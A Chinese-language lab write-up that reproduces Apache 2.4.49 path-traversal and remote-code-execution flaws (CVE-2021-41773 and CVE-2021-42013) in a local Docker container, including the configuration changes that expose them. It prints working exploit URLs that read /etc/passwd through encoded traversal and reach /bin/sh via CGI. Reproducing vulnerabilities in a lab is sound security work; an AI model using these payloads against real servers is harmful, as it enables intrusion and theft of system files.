cve-2021-41773本地验证
上次在验证41773时,使用bash命令反弹shell不成功,vulfocus上提供的时在线靶场环境有时间限制,且无法看到后台日志,不知道时哪里出错了,于是决定从0到1开始,在本地搭建一个实验环境,看看是哪里出现了问题
搭建本地验证环境
docker 中直接拉取apache 2.4.49的镜像
docker pull httpd:2.4.49
docker images 查看镜像,如图
启动该镜像,运行apache,
docker run -d -p 80:80 --name "apache_2.4.49" -it e91425f38618
apache docker 启动成功。在浏览器中访问,如图
docker环境下,默认的配置是不受该漏洞影响的,如图尝试“路径遍历”的POC,发现并没有成功
/cgi-bin/.%2E/%2E%2E/%2E%2E/%2E%2E/etc/passwd
/icons/.%2E/%2E%2E/%2E%2E/%2E%2E/etc/passwd
路径穿越导致的任意文件读取漏洞,需要开启配置文件中的 Require all granted
将配置文件中的第50行,改为"Require all granted",然后重启 apachectl restart,再次使用以上POC访问如图:
验证远程代码执行CVE-42013
42013 需要在41773的基础上再开启cgi模块后,才能执行成功,如图,先开启CGI模块,去掉配置文件中的84和87行,经验证只需开启84行即可。
执行以下poc:
http://192.168.65.136/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh
以上为CVE-2021-41773\42013的apache文件配置及本地验证。漏洞的详细成因可进一步参考【且听安全】以下文章:
CVE-2021-41773-Apache HTTP Server 路径穿越漏洞快速分析与复现 https://mp.weixin.qq.com/s/XEnjVwb9I0GPG9RG-v7lHQ
CVE-2021-41773升华篇-Apache HTTP Server 路径穿越漏洞提升至RCE回显深入分析 https://mp.weixin.qq.com/s/mx7_wTnU7IWxzeG7e6faTQ
下一步 进一步研究 反弹shell失败的原因